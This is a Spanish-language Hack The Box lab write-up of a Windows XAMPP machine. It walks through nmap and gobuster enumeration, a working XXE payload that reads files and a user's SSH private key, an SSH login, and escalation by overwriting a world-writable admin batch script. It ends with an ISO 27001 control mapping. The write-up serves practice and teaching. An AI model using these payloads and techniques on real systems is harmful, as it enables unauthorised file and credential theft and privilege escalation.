Writeup publicado. Detalles de flags redactadas por regla del repo. Laboratorios Hack The Box — entornos de práctica legal.
Primer pase, de poco ruido y pensando en el objetivo:
nmap -sS -Pn -T2 --top-ports 1000 --open --max-retries 2 10.129.53.17
| Puerto | Servicio | Versión | Lectura de operador |
|---|---|---|---|
| 22 | ssh | OpenSSH for_Windows | SSH en Windows = vector secundario, casi seguro para shell final |
| 80 | http | Apache 2.4.41 Win64 | XAMPP (PHP 7.2.28, EOL) → stack viejo, buen candidato a vulns |
| 443 | ssl/http | Apache 2.4.41 | Cert self-signed 2009 para localhost → sin WAF real |
Lo que dijo el escaneo sin "decirlo": 65532 filtered = Windows Firewall estricto, solo 3 puertos vivos. Atacar 22/80/443, nada más. Y el stack XAMPP + PHP viejo = el camino casi seguro está en la web.
Evolución: en vez de
-T4 -p-con scripts, el pase fino (-sS -Pn -T2, sin-sC) mapeó sin quemar el objetivo — y las versiones se leen como señal, no como dato decorativo.
gobuster dir -u http://10.129.53.17 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,zip -t 20
Hallazgos relevantes (el resto era ruido):
db.php (200, tamaño 0) → archivo PHP que ejecuta sin imprimir = config de conexión a BD. El inclusión típica.about/contact/products/services/home → 302 a /index.php = gate de sesión, app custom, no CMS.services.php → form que manda a process.php (POST, XML).La lectura de operador: "todo vuelve a index.php" + db.php tamaño 0 + PHPSESSID sin httponly = app casera con lógica de sesión propia. Está diciendo "probame por acá".
El form de services.php no mandaba application/x-www-form-urlencoded: el JS construía un payload XML y lo enviaba con Content-Type: text/xml:
<?xml version="1.0"?>
<order><quantity>3</quantity><item>Electronics</item><address>...</address></order>
process.php (los warnings de PHP lo confirmaron en el acto):
libxml_disable_entity_loader(false);
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$order = simplexml_import_dom($dom);
echo "Your order for $item has been processed";
LIBXML_NOENT + libxml_disable_entity_loader(false) = XXE clásico. item se refleja (vector de salida), address no — así que jugamos con item:
curl -s -b $JAR -X POST http://10.129.53.17/process.php -H 'Content-Type: text/xml' \
--data-binary '<?xml version="1.0"?><!DOCTYPE order [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/xampp/htdocs/db.php">]>
<order><quantity>3</quantity><item>&xxe;</item><address>x</address></order>'
Base64 decodificado → lectura de archivos arbitraria en el Windows:
<?php
$conn = mysqli_connect("localhost", "root", "", "goods");
Confirmaciones inmediatas: XAMPP (C:\xampp\htdocs), BD goods, MySQL root sin password (pero solo localhost). El login de la web usaba prepared statements (bind_param) → no era SQLi, era app custom con XXE.
Con el XXE, en vez de adivinar, leí la config y la estructura:
C:/xampp/apache/conf/httpd.conf → DocumentRoot, ErrorLog, CustomLog (logs en C:/xampp/apache/logs/).C:/Users/Daniel/.ssh/id_rsa → clave SSH privada del usuario del sistema (el comentario HTML decía Modified by Daniel).ssh -i id_rsa daniel@10.129.53.17
Shell de Windows como markup\daniel. La flag de usuario se leyó tanto por XXE directo como por shell.
job.batEn disco, C:\Log-Management\job.bat:
@echo off
FOR /F "tokens=1,2*" %%V IN ('bcdedit') DO SET adminTest=%%V
IF (%adminTest%)==(Access) goto noAdmin
for /F "tokens=*" %%G in ('wevtutil.exe el') DO (call :do_clear "%%G")
echo Event Logs have been cleared!
...
Por qué era el vector: el .bat exige Administrador y borra logs → casi seguro lo corre una tarea programada con privilegios altos. Y la ACL confirmaba el flanco:
icacls C:\Log-Management\job.bat
# BUILTIN\Users:(F) <-- cualquier usuario tiene control total
# NT AUTHORITY\SYSTEM:(I)(F)
Users:(F) sobre un archivo que corre como admin = scrípter de privilegios por diseño: sobreescribir job.bat con un payload que copie la flag root a un lugar legible y esperar a que la tarea lo corra.
Flag de root obtenida por la corrida de la tarea con el payload ya plantado. (Detalle redactado por regla del repo.)
Controles que faltaban en la víctima (y cómo los mapearía un auditor ISO 27001):
| Flanco explotado | Control ISO/IEC 27001 aplicable |
|---|---|
| XXE sin deshabilitar entidades externas | A.8.28 Secure coding — validar entrada/payload y desactivar procesamiento de entidades externas |
Clave SSH privada accesible vía web (ida en C:\Users\...\.ssh) |
A.8.5 Authentication + A.8.24 Use of cryptography — llaves en almacén con ACLs, nunca alcanzables por el servicio web |
Users:(F) sobre un script que corre como admin |
A.8.2 Privileged access rights — minimizar ACLs de escritura sobre archivos de ejecución privilegiada |
MySQL root sin password (localhost) |
A.8.14 Capacity / A.5.x — gestión de credenciales: usar credenciales por servicio mínimas |
Patrones de ataque que quedan para tu caja de herramientas:
process.php delató la línea de loadXML y el patrón completo. Un entorno bien configurado no expone errores (y aun así el XXE se detecta por comportamiento).php://filter para leer archivos que file:// no deja: con file:// no leías el source PHP; con base64 sí.icacls) antes de probar escalada: Users:(F) sobre job.bat decía por sí sola "escríbime". La enumeración prolija de archivos del sistema es lo que diferencia esto de tironear exploits a ciegas.sudo -l ni SUID. La escalada en Windows pasa por ACLs, tareas programadas, servicios y token privileges — este box es un ejemplo perfecto de ese mindset distinto.Esta máquina fue la primera de la serie Windows + escalada por tareas programadas en mi ruta. Siguientes pasos del tema: SeImpersonatePrivilege / potato, servicios mal configurados (services con binPath editable), y análisis de tokens con whoami /priv para escalar sin escribir disco.